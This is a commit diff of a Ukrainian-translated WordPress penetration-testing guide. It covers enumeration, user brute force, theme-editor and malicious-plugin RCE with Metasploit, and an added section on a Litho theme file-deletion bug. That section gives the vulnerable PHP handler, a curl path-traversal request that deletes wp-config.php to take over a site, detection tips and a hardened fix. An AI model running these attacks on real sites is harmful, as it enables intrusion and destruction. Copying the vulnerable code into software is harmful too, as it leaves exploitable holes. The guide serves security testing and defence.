Translated ['src/network-services-pentesting/pentesting-web/wordpress.md

This commit is contained in:
Translator 2025-08-05 02:56:34 +00:00
parent cd3ae71a7c
commit da7ec14b95

View File

@ -5,12 +5,12 @@
## Основна інформація
- **Завантажені** файли знаходяться за адресою: `http://10.10.10.10/wp-content/uploads/2018/08/a.txt`
- **Файли тем можна знайти в /wp-content/themes/,** тому якщо ви зміните деякі php файли теми для отримання RCE, ви, ймовірно, будете використовувати цей шлях. Наприклад: Використовуючи **тему twentytwelve** ви можете **доступитися** до **404.php** файлу за адресою: [**/wp-content/themes/twentytwelve/404.php**](http://10.11.1.234/wp-content/themes/twentytwelve/404.php)
- **Файли тем можна знайти в /wp-content/themes/,** тому, якщо ви зміните деякі php файли теми для отримання RCE, ви, ймовірно, будете використовувати цей шлях. Наприклад: Використовуючи **тему twentytwelve**, ви можете **доступитися** до файлу **404.php** за адресою: [**/wp-content/themes/twentytwelve/404.php**](http://10.11.1.234/wp-content/themes/twentytwelve/404.php)
- **Ще одна корисна URL-адреса може бути:** [**/wp-content/themes/default/404.php**](http://10.11.1.234/wp-content/themes/twentytwelve/404.php)
- **Ще один корисний URL може бути:** [**/wp-content/themes/default/404.php**](http://10.11.1.234/wp-content/themes/twentytwelve/404.php)
- У **wp-config.php** ви можете знайти кореневий пароль бази даних.
- Шляхи для перевірки входу за замовчуванням: _**/wp-login.php, /wp-login/, /wp-admin/, /wp-admin.php, /login/**_
- Шляхи для входу за замовчуванням для перевірки: _**/wp-login.php, /wp-login/, /wp-admin/, /wp-admin.php, /login/**_
### **Основні файли WordPress**
@ -26,7 +26,7 @@
- Папка `wp-content` є основним каталогом, де зберігаються плагіни та теми.
- `wp-content/uploads/` - це каталог, де зберігаються всі файли, завантажені на платформу.
- `wp-includes/` - це каталог, де зберігаються основні файли, такі як сертифікати, шрифти, JavaScript файли та віджети.
- `wp-sitemap.xml` У версіях WordPress 5.5 і вище, WordPress генерує XML файл карти сайту з усіма публічними постами та публічно запитуваними типами постів і таксономіями.
- `wp-sitemap.xml` У версіях WordPress 5.5 і вище WordPress генерує XML файл карти сайту з усіма публічними постами та публічно запитуваними типами постів і таксономіями.
**Пост експлуатація**
@ -46,7 +46,7 @@
Перевірте, чи можете ви знайти файли `/license.txt` або `/readme.html`
Всередині **джерельного коду** сторінки (приклад з [https://wordpress.org/support/article/pages/](https://wordpress.org/support/article/pages/)):
У **джерельному коді** сторінки (приклад з [https://wordpress.org/support/article/pages/](https://wordpress.org/support/article/pages/)):
- grep
```bash
@ -56,13 +56,11 @@ curl https://victim.com/ | grep 'content="WordPress'
![](<../../images/image (1111).png>)
- CSS link files
- CSS посилання файли
![](<../../images/image (533).png>)
- JavaScript files
![](<../../images/image (524).png>)
- JavaScript файли
### Отримати плагіни
```bash
@ -81,11 +79,11 @@ curl -H 'Cache-Control: no-cache, no-store' -L -ik -s https://wordpress.org/supp
### Плагіни та Теми
Ви, ймовірно, не зможете знайти всі можливі Плагіни та Теми. Щоб виявити їх усі, вам потрібно буде **активно Брутфорсити список Плагінів та Тем** (на щастя, для нас є автоматизовані інструменти, які містять ці списки).
Ви, напевно, не зможете знайти всі можливі Плагіни та Теми. Щоб виявити їх усі, вам потрібно буде **активно здійснити Брутфорс списку Плагінів та Тем** (на щастя, для нас є автоматизовані інструменти, які містять ці списки).
### Користувачі
- **ID Брут:** Ви отримуєте дійсних користувачів з сайту WordPress, Брутфорсуючи ID користувачів:
- **ID Брут:** Ви отримуєте дійсних користувачів з сайту WordPress, здійснюючи Брутфорс ID користувачів:
```bash
curl -s -I -X GET http://blog.example.com/?author=1
```
@ -99,7 +97,7 @@ curl http://blog.example.com/wp-json/wp/v2/users
```bash
curl http://blog.example.com/wp-json/oembed/1.0/embed?url=POST-URL
```
Зверніть увагу, що цей кінцевий пункт лише відкриває користувачів, які зробили пост. **Будуть надані лише відомості про користувачів, у яких активована ця функція**.
Зверніть увагу, що цей кінцевий пункт відкриває лише користувачів, які зробили пост. **Будуть надані лише відомості про користувачів, у яких активована ця функція**.
Також зверніть увагу, що **/wp-json/wp/v2/pages** може витікати IP-адреси.
@ -209,7 +207,7 @@ curl http://blog.example.com/wp-json/oembed/1.0/embed?url=POST-URL
### wp-cron.php DoS
Цей файл зазвичай існує в кореневій директорії сайту Wordpress: **`/wp-cron.php`**\
Цей файл зазвичай існує в корені сайту Wordpress: **`/wp-cron.php`**\
Коли цей файл **доступний**, виконується "**важкий**" MySQL **запит**, тому його можуть використовувати **зловмисники** для **виклику** **DoS**.\
Також, за замовчуванням, `wp-cron.php` викликається при кожному завантаженні сторінки (кожного разу, коли клієнт запитує будь-яку сторінку Wordpress), що на сайтах з високим трафіком може викликати проблеми (DoS).
@ -231,7 +229,7 @@ https://github.com/t0gu/quickpress/blob/master/core/requests.go
Цей інструмент перевіряє, чи існує **methodName: pingback.ping** для шляху **/wp-json/oembed/1.0/proxy** і, якщо існує, намагається їх експлуатувати.
## Automatic Tools
## Автоматичні інструменти
```bash
cmsmap -s http://www.domain.com -t 2 -a "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:69.0) Gecko/20100101 Firefox/69.0"
wpscan --rua -e ap,at,tt,cb,dbe,u,m --url http://www.domain.com [--plugins-detection aggressive] --api-token <API_TOKEN> --passwords /usr/share/wordlists/external/SecLists/Passwords/probable-v2-top1575.txt #Brute force found users and search for vulnerabilities using a free API token (up 50 searchs)
@ -246,7 +244,7 @@ return new WP_Error(
```
## **Panel RCE**
**Модифікація php з теми (потрібні облікові дані адміністратора)**
**Зміна php з теми, що використовується (потрібні облікові дані адміністратора)**
Зовнішній вигляд → Редактор тем → Шаблон 404 (праворуч)
@ -295,19 +293,19 @@ to get a session.
### Завантаження та активація шкідливого плагіна
Цей метод передбачає установку шкідливого плагіна, відомого як вразливий, і його можна експлуатувати для отримання веб-оболонки. Цей процес здійснюється через панель управління WordPress наступним чином:
Цей метод передбачає установку шкідливого плагіна, відомого як вразливий, який можна експлуатувати для отримання веб-оболонки. Цей процес здійснюється через панель управління WordPress наступним чином:
1. **Отримання плагіна**: Плагін отримується з джерела, такого як Exploit DB, як [**тут**](https://www.exploit-db.com/exploits/36374).
2. **Встановлення плагіна**:
- Перейдіть до панелі управління WordPress, потім перейдіть до `Панель управління > Плагіни > Завантажити плагін`.
- Завантажте zip-файл завантаженого плагіна.
3. **Активація плагіна**: Після успішної установки плагін потрібно активувати через панель управління.
3. **Активація плагіна**: Після успішної установки плагін повинен бути активований через панель управління.
4. **Експлуатація**:
- З встановленим і активованим плагіном "reflex-gallery" його можна експлуатувати, оскільки відомо, що він вразливий.
- Фреймворк Metasploit надає експлойт для цієї вразливості. Завантаживши відповідний модуль і виконавши специфічні команди, можна встановити сесію meterpreter, що надає несанкціонований доступ до сайту.
- Фреймворк Metasploit надає експлойт для цієї вразливості. Завантаживши відповідний модуль і виконавши конкретні команди, можна встановити сесію meterpreter, що надає несанкціонований доступ до сайту.
- Зазначено, що це лише один з багатьох методів експлуатації сайту WordPress.
Зміст включає візуальні допоміжні засоби, що ілюструють кроки в панелі управління WordPress для встановлення та активації плагіна. Однак важливо зазначити, що експлуатація вразливостей таким чином є незаконною та неетичною без належного дозволу. Цю інформацію слід використовувати відповідально і лише в законному контексті, наприклад, під час тестування на проникнення з явним дозволом.
Зміст включає візуальні допоміжні матеріали, що ілюструють кроки в панелі управління WordPress для встановлення та активації плагіна. Однак важливо зазначити, що експлуатація вразливостей таким чином є незаконною та неетичною без належного дозволу. Цю інформацію слід використовувати відповідально і лише в законному контексті, наприклад, під час тестування на проникнення з явним дозволом.
**Для більш детальних кроків перевірте:** [**https://www.hackingarticles.in/wordpress-reverse-shell/**](https://www.hackingarticles.in/wordpress-reverse-shell/)
@ -338,7 +336,7 @@ mysql -u <USERNAME> --password=<PASSWORD> -h localhost -e "use wordpress;UPDATE
- **`wp_ajax`**
Один із способів, яким плагін може відкривати функції для використання, - це через AJAX-обробники. Ці обробники можуть містити логіку, помилки авторизації або аутентифікації. Більше того, досить часто ці функції базують як аутентифікацію, так і авторизацію на існуванні nonce Wordpress, який **будь-який користувач, що аутентифікований у екземплярі Wordpress, може мати** (незалежно від його ролі).
Один із способів, яким плагін може відкривати функції для використання, - це через AJAX обробники. Ці обробники можуть містити логіку, помилки авторизації або аутентифікації. Більше того, досить часто ці функції базують як аутентифікацію, так і авторизацію на існуванні nonce Wordpress, який **будь-який користувач, аутентифікований у екземплярі Wordpress, може мати** (незалежно від його ролі).
Це функції, які можуть бути використані для відкриття функції в плагіні:
```php
@ -348,7 +346,7 @@ add_action( 'wp_ajax_nopriv_action_name', array(&$this, 'function_name'));
**Використання `nopriv` робить кінцеву точку доступною для будь-яких користувачів (навіть неавтентифікованих).**
> [!CAUTION]
> Більше того, якщо функція просто перевіряє авторизацію користувача за допомогою функції `wp_verify_nonce`, ця функція просто перевіряє, чи увійшов користувач, зазвичай вона не перевіряє роль користувача. Тому користувачі з низькими привілеями можуть мати доступ до дій з високими привілеями.
> Більше того, якщо функція просто перевіряє авторизацію користувача за допомогою функції `wp_verify_nonce`, ця функція просто перевіряє, чи увійшов користувач, зазвичай не перевіряючи роль користувача. Тому користувачі з низькими привілеями можуть мати доступ до дій з високими привілеями.
- **REST API**
@ -370,11 +368,87 @@ $this->namespace, '/get/', array(
Звичайно, Wordpress використовує PHP, і файли всередині плагінів безпосередньо доступні з вебу. Отже, у випадку, якщо плагін відкриває будь-яку вразливу функціональність, яка активується просто доступом до файлу, це буде експлуатовано будь-яким користувачем.
### Неавтентифіковане довільне видалення файлів через wp_ajax_nopriv (Тема Litho <= 3.0)
Теми та плагіни WordPress часто відкривають AJAX обробники через хуки `wp_ajax_` та `wp_ajax_nopriv_`. Коли використовується варіант **_nopriv_**, **зворотний виклик стає доступним для неавтентифікованих відвідувачів**, тому будь-яка чутлива дія повинна додатково реалізовувати:
1. Перевірку **можливостей** (наприклад, `current_user_can()` або принаймні `is_user_logged_in()`), і
2. **CSRF nonce**, перевірений за допомогою `check_ajax_referer()` / `wp_verify_nonce()`, і
3. **Сувору санітизацію / валідацію вводу**.
Мультифункціональна тема Litho (< 3.1) забула ці 3 контролі в функції *Видалити сімейство шрифтів* і в результаті відправила наступний код (спрощений):
```php
function litho_remove_font_family_action_data() {
if ( empty( $_POST['fontfamily'] ) ) {
return;
}
$fontfamily = str_replace( ' ', '-', $_POST['fontfamily'] );
$upload_dir = wp_upload_dir();
$srcdir = untrailingslashit( wp_normalize_path( $upload_dir['basedir'] ) ) . '/litho-fonts/' . $fontfamily;
$filesystem = Litho_filesystem::init_filesystem();
if ( file_exists( $srcdir ) ) {
$filesystem->delete( $srcdir, FS_CHMOD_DIR );
}
die();
}
add_action( 'wp_ajax_litho_remove_font_family_action_data', 'litho_remove_font_family_action_data' );
add_action( 'wp_ajax_nopriv_litho_remove_font_family_action_data', 'litho_remove_font_family_action_data' );
```
Проблеми, які виникають через цей фрагмент:
* **Неавтентифікований доступ** хук `wp_ajax_nopriv_` зареєстровано.
* **Відсутня перевірка nonce / можливостей** будь-який відвідувач може звернутися до кінцевої точки.
* **Відсутня санітизація шляху** рядок `fontfamily`, контрольований користувачем, конкатенується до шляху файлової системи без фільтрації, що дозволяє класичний `../../` обхід.
#### Експлуатація
Зловмисник може видалити будь-який файл або директорію **нижче базового каталогу завантажень** (зазвичай `<wp-root>/wp-content/uploads/`), надіславши один HTTP POST запит:
```bash
curl -X POST https://victim.com/wp-admin/admin-ajax.php \
-d 'action=litho_remove_font_family_action_data' \
-d 'fontfamily=../../../../wp-config.php'
```
Оскільки `wp-config.php` знаходиться поза *uploads*, чотири послідовності `../` достатні для стандартної установки. Видалення `wp-config.php` змушує WordPress перейти до *майстра установки* під час наступного відвідування, що дозволяє повністю захопити сайт (зловмисник просто надає нову конфігурацію БД і створює адміністратора).
Інші важливі цілі включають файли плагінів/тем `.php` (для зламу плагінів безпеки) або правила `.htaccess`.
#### Перелік для виявлення
* Будь-який `add_action( 'wp_ajax_nopriv_...')` зворотний виклик, який викликає допоміжні функції файлової системи (`copy()`, `unlink()`, `$wp_filesystem->delete()`, тощо).
* Конкатенація неочищеного вводу користувача в шляхи (шукайте `$_POST`, `$_GET`, `$_REQUEST`).
* Відсутність `check_ajax_referer()` та `current_user_can()`/`is_user_logged_in()`.
#### Посилення безпеки
```php
function secure_remove_font_family() {
if ( ! is_user_logged_in() ) {
wp_send_json_error( 'forbidden', 403 );
}
check_ajax_referer( 'litho_fonts_nonce' );
$fontfamily = sanitize_file_name( wp_unslash( $_POST['fontfamily'] ?? '' ) );
$srcdir = trailingslashit( wp_upload_dir()['basedir'] ) . 'litho-fonts/' . $fontfamily;
if ( ! str_starts_with( realpath( $srcdir ), realpath( wp_upload_dir()['basedir'] ) ) ) {
wp_send_json_error( 'invalid path', 400 );
}
// … proceed …
}
add_action( 'wp_ajax_litho_remove_font_family_action_data', 'secure_remove_font_family' );
// 🔒 NO wp_ajax_nopriv_ registration
```
> [!TIP]
> **Завжди** розглядайте будь-яку операцію запису/видалення на диску як привілейовану та двічі перевіряйте:
> • Аутентифікація • Авторизація • Нонси • Санітизація введення • Обмеження шляху (наприклад, через `realpath()` плюс `str_starts_with()`).
---
## Захист WordPress
### Регулярні оновлення
Переконайтеся, що WordPress, плагіни та теми оновлені. Також підтвердіть, що автоматичне оновлення увімкнене в wp-config.php:
Переконайтеся, що WordPress, плагіни та теми оновлені. Також підтвердіть, що автоматичне оновлення увімкнене у wp-config.php:
```bash
define( 'WP_AUTO_UPDATE_CORE', true );
add_filter( 'auto_update_plugin', '__return_true' );
@ -390,10 +464,14 @@ add_filter( 'auto_update_theme', '__return_true' );
### **Інші рекомендації**
- Видаліть стандартного **admin** користувача
- Видаліть користувача за замовчуванням **admin**
- Використовуйте **сильні паролі** та **2FA**
- Періодично **переглядайте** права **доступу** користувачів
- **Обмежте спроби входу** для запобігання атакам Brute Force
- Періодично **переглядайте** права доступу користувачів
- **Обмежте спроби входу**, щоб запобігти атакам Brute Force
- Перейменуйте файл **`wp-admin.php`** і дозволяйте доступ лише внутрішньо або з певних IP-адрес.
## Посилання
- [Unauthenticated Arbitrary File Deletion Vulnerability in Litho Theme](https://patchstack.com/articles/unauthenticated-arbitrary-file-delete-vulnerability-in-litho-the/)
{{#include ../../banners/hacktricks-training.md}}